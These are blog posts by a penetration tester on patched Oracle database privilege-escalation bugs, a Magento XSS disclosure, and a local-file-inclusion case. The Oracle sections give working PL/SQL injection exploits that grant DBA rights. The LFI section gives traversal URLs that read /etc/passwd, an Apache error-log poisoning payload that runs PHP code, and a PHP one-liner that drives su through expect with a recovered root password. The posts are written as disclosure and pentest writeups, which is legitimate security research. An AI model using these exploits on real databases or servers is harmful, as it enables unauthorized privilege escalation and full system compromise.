www.notsosecure.com

Oracle recently patched a vulnerability which I reported in 2009. The vulnerability was a SQL Injection in procedure mdsys.reset_inprog_index(). This procedure cannot be executed by public and when I reported this to Oracle the response was:

Our analysis shows that this issue cannot be exploited except by a user with DBA privileges.
Based on this analysis, we will not be creating a CPU fix and will close this issue as “Not a Security Bug”.

Interestingly, this procedure is not in SYS or SYSTEM schema but in MDSYS schema. Thus any user with “execute any procedure” privilege will be able to execute/exploit it. Also, MDSYS user does not have the DBA role. So, can you become DBA?

Well, although MDSYS does not have DBA role it has “CREATE ANY TRIGGER” privilege and thus exploiting this will give DBA privileges (indirectly). Here is an example:

———————————————-
lets assume that scott has execute any procedure privilege:

now scott creates a function such as:

create or replace function fn2 return int authid current_user is
pragma autonomous_transaction;
BEGIN
execute immediate 'create or replace trigger "SYSTEM".the_trigger2
before insert on system.OL$ for each row BEGIN SCOTT.Z();
dbms_output.put_line(''aa'');end ;';
return 1;
END;

than scott makes this function executable by public:

grant execute on scott.fn2 to public;

now since scott has execute any procedure privilege, he injects the function created above and make mdsys create a trigger in “system” schema:

begin
mdsys.reset_inprog_index('aa'' and scott.fn2()=1 and ''1''=''1','bbbbb');
end;

Since, public has insert privileges on system.OL$, he does:

insert into system.OL$ (OL_NAME) VALUES ('JOB Done');

this should make the system user execute the function SCOTT.Z() giving scott DBA privileges.
—————————————–
This leaves the question, is getting DBA from “execute any procedure” privilege a big deal? Its not a big deal theoretically, but here is a real life example which i found in quite a few pentests in which i think this vulnerability has been quite handy.

Oracle 10g onwards lock all default accounts and hence the good old pwnage techniques like connecting with system/change_on_install doesnot really work that much anymore. However, one account which I see quite often in un-locked state is OUTLN/OUTLN (I have seen it unlocked even in a few 11g R2). This is not a default behavior but its common to see. These are the accounts which have “EXECUTE ANY PROCEDURE” privilege:

SYS EXECUTE ANY PROCEDURE
DBA EXECUTE ANY PROCEDURE
IMP_FULL_DATABASE EXECUTE ANY PROCEDURE
EXP_FULL_DATABASE EXECUTE ANY PROCEDURE
WMSYS EXECUTE ANY PROCEDURE
FLOWS_030000 EXECUTE ANY PROCEDURE
OUTLN EXECUTE ANY PROCEDURE
WKSYS EXECUTE ANY PROCEDURE
————————————-
Summary: So, if you come across an Oracle database (11g R1, R2) with one of the above mentioned account in un-locked state, you can use this vulnerability to become DBA. In the end, Oracle decided to patch this and this won’t work anymore after the Jan 2011 patch
—————–

In a recent pentest, I identified a critical security flaw within Magento ecommerce solution. The flaw is a ‘text-book’ persistent XSS within the admin console which can be triggered by any malicious “non admin” user. This would result in the compromise of the admin section and we all know what follows from here on.

This is a classical example which shows that the admin functionality is equally important to assess against security vulnerabilities and not just the publicly available website. Just because the admin functionality is restricted to trusted users, you cannot ignore the vulnerabilities and this is even more critical when using an open source software.

We reported this issue to Magento on September 24th and the response from Magento was: “We have investigated and fixed the issue which will be available in the next weekly release and next stable (1.9.1.0 and 1.4.2.0)”. Magento didn’t bother to respond to any further emails on when this next “weekly” release will be due and no new version/patch was made available until November 8th when a “preview” version was released and the release notes actually mentions addressing this issue. More details about this issue and the actual vulnerability can be found here.

Magento’s updated version and release notes can be read here. While I understand that this release is not a stable version and upgrading to a preview release may not be the best idea and that some may debate whether this is a responsible disclosure and all that. To be honest, the vendor might have taken a better approach and actually bothered to release a security patch. If i know this issue, then its quite likely someone else knows it too and that it might have been exploited in the wild and so on …

Enough of my ranting. If you are using Magento, UPDATE NOW!!

There are some very interesting issues fixed by Oracle in this month’s Critical Patch Update (CPU). Although, the details about the exact vulnerabilities are still not public. The ones which i found really interesting are:

1. ZDI-10-201: Oracle Database Java Stored Procedure Race Condition Remote Code Execution Vulnerability

” This vulnerability allows remote attackers to break out of the Java Sandbox implemented by Oracle’s relational database. Authentication is required in that a user must be able to create a Java stored procedure
to trigger the issue. “.. CVSS score 9

2. SQL Injection in DBMS_CDC_PUBLISH.CREATE_CHANGE_SET reported by Esteben, which could allow any user with EXECUTE_CATALOG_ROLE to become DBA.

the exploit is fairly simple:
——————–
as SCOTT User:

create or replace function pwn return varchar2 authid current_user is
PRAGMA autonomous_transaction;
BEGIN
execute immediate ‘grant dba to scott’;
commit;
return ‘z’;
END;
–
grant execute on SCOTT.pwn to public
–

begin
sys.dbms_cdc_publish.create_change_set(’a',’a',’a”||SCOTT.pwn()||”a’,'Y’,sysdate,
sysdate);
end;
——————
The exploit is already available in metasploit: https://www.metasploit.com/redmine/projects/framework/repository/revisions/10691/entry/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb. Thanks to MC

This affects 10gR1, 10gR2, 11g R1 and 11gR2. I agree with Appsec Inc that the CVSS score should be 7.5 and not 4.9 which oracle has assigned to it.

Recently on a pentest i came accross an interesting Local file inclusion vulnerability. On this occassion it was definitely not a RFI and all i could do was include files from local app server.

E.g. http://vulnsite.com?exec=aaa/../../../../../etc/passwd%00aa

returned the /etc/passwd file. The application server was running as ‘apache’ user and it didnt have permissions to read /etc/shadow or to do anything “interesting”.

Code Execution:

There are quite a few nice articles on internet on how one can do code execution from LFI. Essentially, you try to insert php code into certain files and then try to include these files. These files typically are:

Apache access logs
Apache error logs
/proc/self/environ

etc.

On this occassion the ‘apache’ user had access to read the error logs. So, when you access a URI such as:

http://vuln.com/foo%3c%3fphp%20passthru('id')%20%3f%3e

It adds the following line to apache’s error log:

404 file not found foo<?php passthru(’id’);?>

Now, you can include the error log files and execute the OS code:

http://vulnsite.com?exec=aaa/../../../../../usr/local/apache/logs/error_logs%00a

Getting Root:

On this occasion, i was lucky and i spotted a file which had a clear text root password in it. However, getting root wasnt very easy, as i could not figure out an easy way to provide this root password within the php script. In the end after searching for quite a bit, i found a way to do this in expect with the following 1 line of php script:

<?php passthru('echo -e \'#!/usr/bin/expect -f\nset password [lrange $argv 0 0]; set cmd [lrange $argv 1 1];set timeout -1; spawn su -c "$cmd" ;match_max 100000 ;expect "*?assword:*"; send -- "$password\r"; send -- "\r"; expect eof\'>/tmp/su.exp&/usr/bin/expect /tmp/su.exp passw0rd whoami>>/tmp/out.txt');?>

This script will do the following:
1. create an expect script(/tmp/su.exp) which will take the root (su) password and command to execute as argument.
2. run the expect script with the root password and command to run as root.

Enjoy the root privileges!
P.S: it is quite common to see expect installed on *nix application servers

Here are my slides from Blackhat 2010.

——————————————————————-
Videos:

Demo1:

Demo2:

Demo 3:

Demo 4: